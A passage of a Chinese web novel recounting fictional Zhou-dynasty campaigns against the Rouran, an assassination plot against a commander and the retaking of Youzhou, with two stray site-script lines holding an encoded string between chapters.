也许,真是上天眷顾,一场秋雨适时地降临北方,柔然人的脚步被迟滞了。当毛奇确定怀州城外只有千余敌兵时,他顾不上远途劳顿,立即把部队集结一处。毛奇一边戴上恶鬼面具,一边咬牙发狠地命令道:“全军出击,给老子宰光了前面的柔然狗!”战斗打得异常激烈,双方不时有人马倒地。大约交战了半个多时辰,柔然军队渐渐不支。身上已经两处挂彩的毛奇高声吆喝道:“弟兄们,跟我冲!他们顶不住了。”又是一轮没命的攻击,柔然的军队开始溃败。这时,许青带领的后阵骑兵也冲了上来。周军将士随即对敌人展开了疯狂地追击。除了个别漏网之鱼,其他柔然兵将全部做了周军的刀下鬼。 席军民到达怀州后,又带着军队与柔然进行了几番恶战,最终在洋河汇流处击溃了柔然主力。至九月五日,席军民的部队杀到了清水河畔。军中的武州子弟全都面向张家口堡,长跪在寒凉的河水中,嚎啕大哭。席军民流着泪把这些部将搀扶起来,要他们奋勇杀敌、夺回家园、为亲人们报仇。当天下午,毛奇、赵横、许青、吴云辉、李浩等将领各率所部对张家口展开了强攻。可是,柔然人的战斗力非常强悍。他们一面凭借坚城用弓箭还击;一面派出骑兵突袭周军后队。结果,周军在付出了较大代价的情况下,仍然无法攻到城前。 入夜后,席军民来到前军营寨,探望受了重伤的许青。全身包裹着血渍布条的许将军一动不动地躺在软床上,仅从喉管处发出轻微的“咯喽”声。席军民呼唤了好一阵,许青才微微睁开了眼睛。他攒了半天力气,干瘪地嘶叫道:“回家!回家!回家……”片刻之后,许将军咽下了最后一口气。席军民抱住许青,哀声大恸。在场的其他军将也纷纷落泪。毛奇悲愤地撕下自己胳膊上的包扎布,吼道:“白天不好攻,咱就晚上打。我今夜就摸进城去,杀他几十个柔然贼,为许兄长报仇!”说着,他推开众人冲向了帐外。席军民怕他再出意外,赶忙命人拽他回来。席军民压抑着心中的愤懑,沉痛地说:“张家口是我一手改造的坚固堡垒,而我今天竟然让弟兄们强攻硬打,是我害了弟兄们。传我的将令,后面三天全营为许将军和战死的弟兄们挂孝。另外,告诉王闯,严守军营,没有我的令牌,任何人不许出战。” 在把许青将军装殓后,席军民强拉着毛奇回到了自己的大帐。他屏退左右,仰天叹息道:“毛兄弟啊,我知你和许青情同手足,我又何尝不是肝肠寸断呢?只是,蛮干并不能替咱兄弟报仇啊。”已经慢慢从盛怒里平复的毛奇微微抱拳说:“大哥不用为我担心。毛某不做傻事也就是了。”席军民让毛奇坐下,又说:“你刚才提到要夜袭城墙,倒提醒了我。你记不记得,当年,咱们为了加固张家口城防,到处查找漏洞。有一天巡夜,也是刚下过雨,咱在西城墙上听到了水流声。咱俩仔细查看后才知道,在那段城墙下有一道排水闸门。由于咱张家口堡只在东、南、北三面开的有门,西面城墙就紧挨着清水河,所以,谁也没注意过那道水闸。如果我们派出部队,乘着黑夜,扎筏渡河,摸进城中,那岂不比攻城胜强万倍呀!”毛奇兴奋地一拍大腿叫道:“可不是吗!大哥就给咱下命令吧。我今夜……”没等毛奇说完,席军民就打断了他的话:“不可走漏风声。现在,你和前营的弟兄们最需要的是好好休息。其它一应器械我会交代人去准备。不过,咱可说好了,到大哥遣你出战的时候,你可得给大哥拼命。”毛奇兴奋地一跃而起,旋即又压低声音咬牙切齿地说:“毛奇谢大哥抬举,您就放心把任务交给我好了。” 三天后的夜晚,毛奇和李浩领着二百精兵渡过清水河,悄悄钻过水闸进入了张家口堡。他们摸到南城,控制住南门,并在城上挥动火把,发出了得手信号。席军民提刀在手,大声呼喊道:“夺回张家口,杀尽柔然狗!冲啊!”万余压抑了多日的熊虎战士终于有了发泄出口。他们奋勇向前,如潮水般涌进了张家口南门。城内的守军猝不及防,一下子陷入了被动。周军熟识地形,一边沿街攻击,一边派人偷袭敌军后方。到了后半夜,周军又攻占了东城门。柔然人先后组织了五次反击都没能取得战果,反而付出了惨重的代价。柔然将领不得不发出了撤退城北的命令。可是,许多柔然人因不想放弃战利品,竟点起火把、赶着车辆向城北突进。原本就狭窄的道路和城门,转眼间被堵了个水泄不通。而站在火光下的柔然人也都变成了周军将士的猎物,被一枝枝箭弩无情地射杀。太阳升起时,席军民干掉了据守北城门的最后几个敌人,占领了整个城池。他又派出部队清剿了藏在角落里的残敌,解救了被柔然人关押的妇孺百姓,张家口堡终于宣告光复。 张家口易手对于敌我双方,都极具意义。由于柔然的西路大军原来只有四万多人,且在先前损失了不少,丢掉张家口后,这支残军彻底被席军民、韩德明、马庆明父子包围在了燕山以南、妫水河以北的狭长地带。随着宋启愚挥师西进,柔然人猖狂的日子到了头。 九月中下旬,宋启愚率军到达妫州。他不计前嫌,亲自前往镇守使衙门,与马氏父子商讨破敌之计。马庆明和马健东表面上倒也殷勤。他们排开仪仗,热情地将宋启愚让进了议事厅。经过会晤,两军达成协议,由宋启愚率领一万晋阳军向前攻击,并召唤毛迪的部队快速来援;而由马健东率领一万五千妫州军在后跟进;再由席军民的部队在张家口堵截;同时,命韩德明前出到妫水河南岸,威胁柔然侧翼;几路大军通力合作,于武州地区聚歼柔然军队。 送走了宋启愚,马氏父子回到后宅。马健东气恨地说:“这个宋启愚也不知走了多大的运势,先在官场上平步青云,又在战场上呼风唤雨。我们父子在边关辛苦筹谋了几十年,也不过才混到镇守使而已,可他却已爬上了节度使位置。你当你的官倒也罢了,还参我一本,弄得我好几年都翻不过身。现在,你求我们跟你合兵,我们才不替你卖力呢!”马庆明拍拍儿子的肩膀说:“儿啊,别置气。这个宋启愚确实有本事。我们让他顶在前面,说不定还真能成就一番伟业呢。不过,你后面那句话没说错,叫咱们出兵没问题,但力气得让姓宋的去卖。”马健东点头说:“爹放心,这面子上的事,儿子知道怎么做。这一仗打完,获得最大利益的只能是咱们马家。论功行赏,皇帝要是不给爹一个巡抚当当,咱也可以给他点颜色看看。”马庆明手捻胡须,呵呵笑着说:“巡抚不巡抚的无所谓。只要咱手里有这两万多兵马,在这幽州地界,咱就说了算……” 曾经不可一世的柔然骑兵,因失去了回旋空间,在战场上渐渐失了优势。特别是在席军民和韩德明的军队得到了后续炮兵的支援后,他们的机动能力迅速下降。这支柔然残军逐渐被压缩进了地处盆地的武州城内。宋启愚则率领晋冀联军包围了这座孤城。 十月初,一股寒流从北方袭来。武州地区气温骤降,凛冽的寒风夹杂着雪片呼啸而至,一个昼夜便给这片北国山川裹上了厚厚的银装。由于柔然人打仗不带后勤补给,打到哪里就吃到哪里,所以,在被围几天后,他们的辎重便已用尽。兵将们倒还能支撑,但战马和牛羊却不行,因缺少草料和木柴,他们所带的牲畜大量死亡,疫病也开始流行起来。 十月十五日,宋启愚向各部下达了总攻击令。在用炮火轰开了武州的东大门和南大门之后,毛迪、伍名、郭林、申鲤各率所部呐喊着朝武州城扑去,同时,马健东也带着妫州部队冲向了城池。 一场血战,地暗天昏。两个多时辰后,周军已经完全控制了武州的东南两面,似乎取得最后的胜利只是时间问题。宋启愚离开指挥台,催动坐骑,向着城门处开进,刘戈、段鲲、杨道、程元甲等将领护从左右,绣着斗大“宋”字的帅旗迎风飘扬,显得格外气派。 就在军士们欢呼雀跃迎接统帅进城的时候,从东城墙的箭楼内突然飞出几枝雕翎,径直向宋启愚射来。因被旗藩遮挡了视线,宋宣道躲闪不及,竟大叫一声,中箭落马。那么是谁放箭射伤的宋启愚呢?这位统帅的伤势怎样,是生是死呢?请看客阅读下回——《天通之殇》。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第四十九回1 天通之殇 妫州镇守使马健东站在瓮城南侧不断伸头往马道上观瞧。当眼见自己的几个亲兵从城墙上奔回时,他紧张地问道:“怎么样?”一个亲兵回答说:“大人放心,人已坠马。”马健东嘴角微扬,冲着马道附近的妫州军一摆手说:“行刺宋大人的柔然凶手往西跑了,随我抓住他们。”千余兵将闻令而动,跟着主将匆匆向城内冲去。马健东还边跑还边喊着:“别让行刺大人的柔然凶手跑了,快动手杀了他们。” 而在城外,刘戈、段鲲迅速扑到宋启愚身边,手忙脚乱地扶住大人;程元甲和杨道则带着护卫挡在了大人身前。宋启愚紧咬牙关,用力把一枝雕翎箭从大腿上拔出,颤抖着声音说:“快叫军医来。这箭扎得不深却很疼,想是箭上有毒。”刘戈焦急地对后面喊道:“快叫平先生!也把杜郎中他们请来。”段鲲一边拔出短刀一边说:“大帅忍忍疼,我先替您把毒吸出来。”说着,他就用刀豁开了宋启愚的外甲绑带。宋启愚凝着眉头对刘戈交代说:“告诉毛承循,前线暂由他指挥。凡是放下兵器的柔然人,准许他们投降……” 天暗下来了,申鲤、伍名、郭林等部将守在宋启愚的帅帐外,或交头接耳,或互相指责。蒙正气愤地说:“没能抓住那几个行刺大人的混蛋,真是窝火呀!”郭林则指着易东骂道:“易东,你个废物!东箭楼里藏着人你都不知道。你怎么清理的城墙?”易东哭丧着脸说:“我明明亲自带人搜索过的,都安全了,我才派人向大人回报的。”而伍名则责问布方道:“谁让你杀降兵的?允许投降是大帅的命令。要是大帅问起来,你怎么交代!”还没等布方回答,申鲤就插嘴说:“这事不怪他。是妫州军的人喊话说行刺大人的凶手混进了那群降卒队伍里,布方才把那几十个柔然人全都宰了的。”布方也辩解说:“伍将军,这事确实不赖我。马健东的妫州军杀人杀得邪性,凡是他们占领的地方,鲜血都流成了河。那群柔然伤兵见我的队伍准许投降,就跑过来了。当时,我一听说这些人还敢行刺大人,就没压住火,这才干下了蠢事。”这时,刚刚向几位军医问明了大人伤情的毛迪走过来说道:“你们都小声些。大人虽然没有性命之忧,却非常痛苦。平先生说,直到申时,大人得知我们取得了完全的胜利,才用药睡下。大伙不是也看过大人了吗,不如都先回去,约束部队。有我和蒙正、易东在帐前听用,料无大碍。”十几位将军轻声应了个诺,又前往帐内探看了片刻,才各自回转了军营。易东略有所思,凑近毛迪小声说:“参军,咱们跟柔然人打了这么多年交道,可从来没听说他们会用毒箭伤人呀!”毛迪倒吸了一口凉气,惊道:“这,我还真没想到。不过,无凭无据咱也怀疑不了谁。你这个话只能传到我这里,对别人不可提及。”易东轻轻抱拳说:“末将知道。” 过了两天,毛迪见节度使的箭伤有所好转,建议移师张家口。宋启愚也怀疑是有仇家暗算自己,便传令通过怀州向山西撤军,同时令易东和姜元廷留驻武州,监视柔然动向并慢慢查询行刺事件真相。 在帝都开封的皇城里,天通帝因连收捷报,喜不自胜,一边轻咳一边对白登说:“咳咳,宋启愚真是国之干臣。要是朝中多几个这样的大将,那朕哪还有烦心事啊!传旨,进封宋启愚为一等冠军候,另赏他白银万两、御用犀带一条。”白登嬉笑着说:“陛下对臣子真是恩厚。那只‘护食猫’这下还不得美上个把月啊。不过……”天通帝斜着眼睛看了看白登,说道:“对朕还有什么不能讲的?”白登向前凑了凑,说道:“陛下,宋启愚未奉圣旨就出兵河北,虽出于公心,却不合规矩。若臣子们都象他一样,那天下岂不乱套了?还请陛下明鉴。”天通帝最敏感的神经一下子被刺痛了。他沉吟半晌,缓缓说道:“你这奴才说的有理。不过,好在他出兵前和行军途中都给朕上的有奏折。这样吧,命内阁拟文对他的擅专行为加以申斥,命兵部对他的战功进行褒扬。然后,朕再发一道旨意,对他稍作安抚,官爵吗暂不加封,仅赐犀带一条算作奖励吧。”白登连忙拍马屁说:“陛下这样做既可令那‘护食猫’对国家法度诚惶诚恐,又可显示圣上仁德爱才的品格,真可谓恩威并施,乾纲独断。那宋启愚还不得死心塌地地效忠您啊!”天通帝微微笑了笑说:“前日王国忠和马英全的大军已经过了定州,想来再有几日就能到达幽州,柔然的这次进攻算是被朕挫败了。”白登满脸堆笑地说:“陛下英明神武,运筹帷幄,令夷狄震服。”天通帝又咳了几声,显出温怒的表情说:“只是那耿宇辉,朕实在气恨不过。朕早就写好了对他的处分旨意,原来是怕在战场上还要依靠他,才未与发出,现在看来,反而是朕多虑了。你今天就派人去给他传旨,命那庸才自缚进京,听候发落。另外,命令殿前军立即锁拿耿双。朕要用这对父子的人头祭奠战死的将士。”白登躬身行礼,陪着小心说:“奴才遵旨,奴才这就去办。” 可是,事与愿违。王国忠虽是将门之后,却没有治军才能,他的部队硬是在短短四百多里路途上缓慢爬行了二十五天。反倒是皇帝的两波传旨官先后开进了燕京城。当耿宇辉确认皇帝对自己的最终态度时,他既惊恐又愤怒。他明白,摆在自己面前的路只有两条,要么进京赴死,要么起兵谋反。结果,他选择了后者。 十一月十一日,耿宇辉亲自前往柔然军营,向柔然的乌利可汗表达了归附意图。乌利可汗倒也痛快,直接进封耿宇辉为燕王,仍然统领幽州。乌利可汗又命令博尔帖进军密云、燕乐,协助耿宇辉对抗周朝援军。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第四十九回2 天通之殇 等送走了耿宇辉,乌利可汗再也坚持不住,他大口喘着粗气,竟一头扑倒在桌案上。他眼神迷离地对侍从吩咐道:“快去……把失烈门和摩柯莫叫来……” 待失烈门和摩柯莫进帐,乌利可汗已陷入了昏迷。随即,医官们开始对可汗进行抢救。摩柯莫郑重地跪在失烈门面前,哭着说:“根据大王吩咐,臣请元帅出任监国,暂摄国政。大王先前还说,一旦他倒下,要您保守机密,率领大军徐徐退回草原。”失烈门双手搀起摩柯莫,无限悲哀地说:“夺取幽州是哥哥一生的愿望,今日,终于实现了。也许,这就是长生天最后给予哥哥的恩赐,让他没有遗憾地回到天堂……” 耿宇辉在获得了柔然的支持后,先调集军队在卢沟偷袭了周朝的前锋军,又派出骑兵攻击了马英全所在的后勤辎重部队。那马英全从来没打过仗,听营寨内外杀声震天,见营寨前后火光一片,他肝胆俱裂,便溺齐出,丢下部队,坐上马车就往南面狂奔。而柔然大将博尔帖也派出军队沿着沙河一路打击王国忠的主力。结果,叛军和柔然军在几天内连战连捷,周朝军队全线溃败。甚至,有多支周军为争夺逃跑的道路相互践踏,坠谷落河而死的兵将不计其数。幸亏前些时晋阳参军毛迪在率军北上前,曾按照节度使的吩咐在瓦桥关、淤口关和益津关各留下了两千兵马,这才算止住了敌人的攻势。其后,柔然人开始从幽州撤军,耿宇辉也把主力缩回了燕京城内。至此,大周与柔然之间形成了新的分界,且柔然占据了较为险要的地势。 消息传到京城,天通帝吐血三升,昏厥于地。醒后,他痛骂耿宇辉叛国投敌,斥责王国忠愚蠢无能,嗔怪马英全胆小怯懦,诅咒柔然国凶年饥岁、旱涝不均。可这位皇帝却没有想过,这个国家的一切灾难全都源于他的昏聩、恶政和贪权。 十一月下旬,宋启愚率军回到代州。虽然伤愈已有一个月,但他的左腿仍然有些瘀肿,每天仍需卧床排毒。为了方便大人起居,毛迪等人特将二夫人请到了军中。韩丽华心细又泼辣,力主让宋启愚留在代州静养,而由申鲤、郭林等大将把军队带回晋阳。 这一晚,宋启愚恍惚之间做了一个怪梦。他梦到女娲娘娘把仙露滴在他的发间,而那仙露又顺着自己的脸颊聚到了那道白色蜗痕上。突然,一个妙龄少女从仙露中冒出头来,开始快乐地舞蹈。她还轻声呼喊着:“宣道,快些好起来,天下人需要你。”转眼间,少女变成了一头九色神鹿。神鹿飞到宋启愚面前,用脑袋蹭了蹭他的身体,又用舌头轻柔地为他舔着腿上的伤口。女娲娘娘微笑着说:“此物真心爱你,不妨把她留下。”宋启愚用手抚着神鹿的头,说道:“此乃上天灵物,我怎敢据为己有?还请娘娘收回。”女娲娘娘呵呵笑着说:“你的无私世间罕有。不过本娘娘送出的东西从来不许驳回,你既不收,那就代管些时日好了。”宋启愚倒身下拜说:“既是娘娘厚赠,宋宣道暂留便是。”浓雾四起。一转眼的工夫,女娲娘娘不见了。宋启愚正欲呼喊,九色神鹿飞身过来,罩住了他的全身。宋启愚只觉得异常温暖,随进入了甜甜的梦乡。然而,好景不长。无数只蚂蚁爬将过来,开始吞噬神鹿的躯体。宋启愚大叫一声:“神鹿小心!”便猛醒过来。 宋启愚闭目缓了缓神,却感觉有人在嘬食自己的大腿。他挺身坐起来,定睛一看,原来是杨可正在用嘴巴给自己吸毒。宋启愚的脸一下子涨得通红。他急忙用被子遮住身体,说道:“可儿使不得。你是大姑娘了,怎能做这种事?”杨可把嘴里的毒水吐在水盂中,又用药汤漱了口,才给宋启愚扣头说:“是韩夫人许我来给老爷疗伤的。可儿自知地位卑微,不敢做有损老爷德行的事,还请老爷准我待在您的身边,为您把毒液排除干净。”宋启愚嗔怪道:“二夫人这不是胡闹吗!怎能为了我的小伤,坏了可儿的名节呢!”杨可莞尔一笑说:“能为老爷舔舐伤口,可儿心甘情愿。老爷要快些好起来,天下人需要您。”宋启愚觉得这话好生耳熟。当看到杨可头上别着的九色麋鹿簪时,他喃喃自语道:“这,莫非是天意……” 此后,不过十天,宋启愚便完全康复了。为了安定关北民心,鼓舞军将们的士气,宋启愚还乘着年关,骑马巡视了大同和关北长城的各个要塞。 可是,几千里外的杭州城,却再也撑不住了。经过了一夜苦战,满脸血污的江浙巡抚林九都站在飞来峰上,身边只剩下几百名残兵败将。他望着源源涌来的邢华义军,仰天长叹道:“皇上啊!臣艰难抗贼已逾两年,自认为殚精竭虑,身先士卒。可是,贼军势大,刘相的援军又迟迟不到,臣已被逼入了绝境!”他跪到地上,向着西北磕了九个头,又哭泣着说:“林九都没有本事守卫疆土,但臣也绝不会被俘受辱。而今,杭州城已破,臣唯有一死以报陛下知遇之恩,以报先师教导之情,以报父母养育之德,以报黎庶爱戴之意……”此时,红红的太阳刚从东方升起,灵隐寺方向也传来了悠扬的晨钟声。林九都拔出宝剑,在衣袖上蹭了几下,一咬牙关,自刎身亡。 败报传进京师,本已心力交瘁、病势沉疴的天通帝又一次吐血昏厥了。其后,天通帝日日咯血,竟然不能临朝听政。然而,身在朝中的冯体仁和张永德倒很兴奋。这两个当了多年副宰相的超一品大员终于看到了扳倒刘睿的希望。在冯体仁的授意下,御史台和谏院的官员一份接一份上书,弹劾宰相刘睿进军迟缓、贻误战机,丢城失地,畏敌如虎。而在张永德的鼓动下,大将景雪峰和沈建平也不时在东南搞些小动作。本已身陷战争泥潭的刘睿,一方面要躲避身前的明枪,一方面要防备身后的暗箭,简直是焦头烂额、疲于应付。至天通六年三月,天通帝最终罢免了刘睿,改任冯体仁为相;并命张永德前往江南,接替刘睿军职,继续镇压义军。 第四十九回3 天通之殇 听闻中原地区如此混乱,川陕宣慰使骆建成觉得自立为王的时机已经成熟,便先向开封派出密使,帮助其子潜逃回川;又购买了大量粮食、物资,充实仓廪;他还整备军队严守关隘;并再次阻断了四川与朝廷的联络。同时,他又派出多路使节,分别前往西羌、吐蕃、大理等国,寻求这些势力的支持。七夕这天,骆建成做好了最后的准备,于成都自立为蜀王,正式与大周分庭抗礼。 病情刚刚有所起色的天通帝听到这则噩耗,犹如身受重击。他两眼直勾勾地盯着床前的帷幔,哀伤地说道:“朕自幼聪颖,早年便立志要做尧舜之君。及成年,朕的德行更是远超兄弟。然而,静福作乱,篡立石垚;父皇智昏,欲立石坦;幸得祖宗保佑,让朕夺得正宗。可是,这天下又灾害频仍,干戈扰攘,朕虽励精图治,殚精竭虑也未能阻止国祚衰微。其后,先有佞臣王克明祸乱云贵,又有贼子秦国勋割据江南,再有流寇起事、盗匪横行,更有柔然犯边、震我中华。多少时候,朕真想丢开皇权,做个闲云野鹤。然而,上天所授、祖宗所托,朕又怎么能够轻易放弃。去年以来,国家更加动荡,狼子耿宇辉数典忘祖、甘做败类,竟然归附柔然。懦夫刘睿不恤国难、不解君忧,招致丢失东南。更有那吃里扒外的骆建成自立为王,背叛大周。哎……朕,朕……朕难道就真的如此不堪吗?难道能让后人把朕归入桀纣、桓灵一类的昏君行列吗!”在身前伺候的白登哭着劝慰道:“陛下万不可如此自责。国家历次蒙难,皆赖陛下力挽狂澜。要论罪责,真正有罪的是那些乱臣贼子,真正该杀的是那些庸碌将帅。奴才恳请陛下宽慰心胸,善保龙体,待精神恢复,肉身康健,再徐图重造社稷,清平宇宙。”天通帝长长地舒了一口气说:“朕自思寿数难以长久。但在把江山传给太子之前,朕一定要把幽燕收回,把江南平定,把四川肃清。”他又缓了几口气说:“现在国家疲弱,人才不兴。你去叫冯体仁、齐元能、司马德文、单宏波、白铭肇、魏柄忠到御前来。朕要让他们多推荐几个青年才俊,以帮着朕收拾河山。”白登上前替天通帝正了正靠枕说:“陛下先稍事休息,奴才这就去政事堂传谕。” 冯体仁等大臣进入养心宫后,先好言劝慰了天通帝一番,又根据皇帝的意图,推举了一批封疆大吏。其中就包括雍州节度使苗家伟,山西节度使宋启愚,淮南巡抚卢庆春和湖湘巡抚司马焌等人。天通帝这次倒是蛮大方,直接加封苗家伟为一等忠肃候假节钺,命其统兵入汉中,攻击川北地区。加封宋启愚为一等冠军候加兵部尚书衔,命其率兵前往河北,收复幽燕地区。加封卢庆春为长江指挥使,协助张永德往剿江南贼寇。加封司马焌为夔门总督,率军封锁川东水路,并伺机进击巴蜀东部。 转眼又是中秋,皇帝的旨意传到了晋阳。宋启愚思虑良久,于次日分别向属官下达了命令。他首先把曹可用叫进内室,笑眯眯地说:“好兄弟,前几次出征你总怪我不给你机会,不允许你上阵杀敌,那么这次,我可以叫你去立头功。”曹可用嘿嘿笑着说:“我就说吗,这肥水也不能老流到外人田里面。宣道有什么吩咐,尽管说来。”宋启愚拿出几封文书递给曹可用说:“那耿宇辉虽然投降了柔然,但幽州地区的官军百姓从心理上并不愿意背叛祖国。这是驻守瓦桥关的岳凌云和驻守益津关的吴轲送回的军报。军报上说密云、居庸关、滦州、蓟州、渠阳、三河等地的守将和官吏都有回归故国之意,包括耿宇辉的重要部将现任幽州护军的薛霸都有再叛献城的想法。薛霸还透露说,在乌利可汗病逝后,柔然国内又起了纷争,监国失烈门被迫从金州、幽州等地抽调兵力回大青城平叛。现在,驻守在幽燕地区的柔然兵马不超过一万人。”曹可用凑近宋启愚问:“宣道的意思是,叫我往这些州县派出细作,敦促这些城池反水?”宋启愚哈哈大笑说:“好兄弟就是好兄弟,你说的就是我想的。不过,不是反水,我管这叫反正。”曹可用呵呵一笑说:“反正就反正,交给我好了,这件功劳反正是我的了!” 之后,宋启愚又把毛迪叫来,吩咐道:“承循,你去挑选精兵三万,并命令驻扎在紫荆关的董元度准备好所需的炮兵物资,待我大军开到,跟随本帅前去收复幽州。”毛迪略一皱眉说:“大帅,咱们是否应多调集些人马,毕竟耿宇辉手中有十万叛军啊!再说,咱山西的军力在这一年中又增加了两万,士兵们都愿意跟着您上阵厮杀呀。”宋启愚摆摆手说:“三万就足够用了。也许你不知道,去年岳凌云、包孝敏和吴轲在三关地区收容了许多败兵。别看他们只是小小的镇守,若论兵力,哪个手里都不少于五千人马呀。另外,在保州还驻有三万多侍卫亲军,在沧州也驻有两万多河北部队,他们这次也归我节制,再加上幽州人心思归,所以,我们在军力上并不处于劣势。”毛迪犹豫着说道:“大帅,您没有计算妫州的军队啊。”宋启愚冷笑一声说:“那马健东原以为行刺做得天衣无缝,只可惜他的亲兵醉酒之后把肚子里的牛黄狗宝倒了个干净。武州的百姓本就恨他们父子弃城逃走,只把人民推进火炕。现在,听了内情,就有人向易东和姜元廷做了汇报。也是易东他们聪明,先向国栋请了援兵,又秘密抓捕了马健东的几个亲兵,拿到口供后,才突然发难,包围了马健东的兵营,阻断了他与外面的联系。他们又逼着马健东写了文书,并收缴了妫州军的兵器。恰巧那马庆明在四月份病死了,我就将事情的原委向朝廷做了汇报。皇上考虑到他父子曾为国家出过力,便下旨褫夺了马健东的兵权,让他回家为其父守孝。现在的妫州镇守使已换成了我的内兄韩德奎。”毛迪笑笑说:“这才叫恶有恶报,搬起石头砸自己的脚呢!”宋启愚轻叹道:“其实,在众多边关镇将当中,马健东还算是个人物。只是,他把太多的精力放在了内斗上。由于我内兄刚掌妫州不久,很难保证战力,所以,过会儿,我会向席军民发令,命他率领两万大同军往妫州方向移动。”毛迪点头说:“原来如此。末将没有什么可担忧的了。末将这就去精选兵卒。” 第四十九回4 天通之殇 在曹可用派出的奸细运作下,延庆守将钱勇于九月初反正。紧接着,涿州、玉河等城池也都在宋启愚大军开到时,四门大开,不战而降。至九月末,宋启愚又派刘戈接管了居庸关,派伍名前出到了密云地区。幽州城被周军从南、西、北三面包围,只剩下东面与三河、蓟州相连。 在十月一个月黑风高的夜晚,薛霸从自己的护军府后角门悄悄接进来一个人。薛霸谨慎地向四周观察了一番,才把这人让进了一处隐秘的房舍。待进到屋内,关了房门,薛霸对这人躬身说:“纪先生,非常时期,薛某不得不小心,若有怠慢,还请先生原谅。”被称为纪先生的人微微笑了笑说:“纪国正受宋大人托付,欲救将军和千万幽州子民性命,又怎么会在意表面的虚礼呢!咱们还是谈正事吧。”薛霸把纪国正让到上座,陪着笑说:“纪先生可曾将小可的要求向宋大人转达?大人怎样回复?”纪国正一捻微须,从怀中掏出一份文书递过去说:“这是大人给你写的赦免令。宋大人答应保举你出任州郡主官,但大人也说那是国家公器,是否能授予还要听圣上的。不过,我家曹总办倒是应允了,让你战后分取幽州城的货栈利润。”薛霸把文书放在桌上,沉下脸道:“纪先生,我可是冒了大风险,又为国家立了大功劳的呀,总不能连个知府或者镇守使都换不来吧!再说,那耿宇辉待我也不薄,我不能为了仨瓜俩枣就把我的老长官给卖了吧!”纪国正嘿嘿一笑说:“薛将军差咦。首先,那耿宇辉乃是国家的叛逆,标准的汉奸,将军跟着他是没有前途的,只能落得遗臭万年的下场。其次,这幽州已被我老师三面包围,城破是迟早的事。与其到时祈求宽赦,不如现在就谋好后路。第三,那延庆、涿州、玉河等地都是王师一到立即投降的,这幽州城里想寻求立功机会的官员和将领并不是只有薛将军一人。将军可要想好了,别被他人抢了先。第四吗,我不妨告诉将军,在幽州城外,我晋阳军和朝廷军队的总数超过二十万,以你城内的区区五万兵马,怎么与天兵抵敌。第五,曹总办所控制的货栈哪个不是年入十几万两银子的大买卖,那怎么能是仨瓜俩枣的小便宜呢?”薛霸的眼珠转动着。他在想眼前这个人的话里有几分是真实的。他试探性地问道:“纪先生的口气大了些吧。先不说别的,你老师手下哪能有二十万军队呀?”纪国正冷笑了两声,说道:“若我是将军,根本就不会这样问。且不说我家大人节制着驻扎在保州的五万多侍卫亲军和驻扎在沧州的三万多河北部队,就单凭五万晋阳铁骑和五千炮队完全可以拿下幽州,更何况还有席军民镇守使的三万关北部队和韩德奎镇守使的三万妫州部队,要是再加上刚刚从幽州反正归附过来的军队,我方的军力只比二十万多。况且,你也知道,去年,我老师在淑阳仅率领五千人马就一举歼灭了八千柔然骑兵。我晋阳铁骑的战斗能力恐怕不是疲弱的幽州军能匹敌的吧!”见薛霸还有些犹豫,纪国正又说:“薛将军把耿宇辉视做兄长,但姓耿的却未必把将军当成心腹。你想想看,当初姓耿的为了不去开封,硬让将军到朝廷受责难。将军在京城九死一生时,那耿宇辉可曾管过你吗?”心理防线早已崩塌的薛霸听了这话,咬牙切齿地说道:“若非先生之言,薛某几乎误了一生。薛某此前已跟几个亲密部将议定,到了初十那天,我的护军部队将把幽州南门打开……” 几天后,宋启愚按照约定炮击了幽州东门。在耿宇辉的注意力全被吸引在东线的时候,薛霸献出了南门。数万周军一拥而入,仅用了一天时间便收复了幽州主城。到了第二天夜晚,耿宇辉见大势已去,仅率领几十名亲兵偷偷溜出幽州,往东方逃窜。 次日清晨,耿宇辉一行奔到了温榆河畔。望着宽阔的水面,听着身后似有似无的喊杀声,耿宇辉长跪在地,叹息着说:“前有大河,后有强兵,叫耿某如何是好!”恰在此时,一条小舟从雾霭中漂荡而出。耿宇辉顾不得身份,急忙唤道:“船家老哥这向来。搭载我等过河,本……本人有重赏。”那船家也不客套,径直把船泊到了岸边。耿宇辉匆忙跳上了船,这才发现船实在太小了,仅能容纳两三个人。船家说:“客官身躯高大,我这一次只能运你自己过去呀。其他的人,恐怕只能下次摆渡了。这马吗……”耿宇辉逃跑心切,打断船家说:“你快离岸,送完了我,再来接他们。”船家不敢再多言,载着耿宇辉划向了对岸。 不过一刻钟,小船驶到了东岸。耿宇辉一步跳上旱地,悬着的心多少放下了些。他正欲叫船家回去接亲兵,却看见几百名手执刀矛的军士从小树林里冲了过来。耿宇辉暗道不好,转身想登船逃回,可那小船已被船家划出了十丈开外。耿宇辉只能硬着头皮,拔出了宝剑。就在这时,一个熟悉的声音传来,“燕王殿下不必害怕,通州知州宴贵卿在此。”耿宇辉听后,眼泪差点流出来。他缓了一下心神,把宝剑还鞘,边向前走边激动地说:“真是患难之间见人心啊!宴大人忠心耿耿,本王绝不会亏待阁下。”待到近前,耿宇辉定睛一瞧,在一帮军汉正中,站着三个人,其中就有宴贵卿。耿宇辉长出了一口气说:“可算见到自己人了。宴大人,别来无恙……”可还没等他的话音落地,宴贵卿把手一摆命令道:“还不与我拿下!”十几个军卒冲将上来,不由分说,就把耿宇辉撂翻在地。宴贵卿冷冷地看着仍在挣扎的耿宇辉,高声说:“狗汉奸,你背叛故国,归顺柔然,今日终被我这个大周忠臣逮捕。”他又用手往另外两个人身上一比划说:“这二位也许你不认识,本忠臣就给你介绍介绍。这位是淑阳知县梁世泽大人,现为宋尚书任命的招抚使。这位是宋尚书的学生,山西兵部任职的苏定军大人。我也不怕告诉你,早在一个多月前,本忠臣就已经回归了大周。”此时,耿宇辉已被五花大绑,押到了宴贵卿面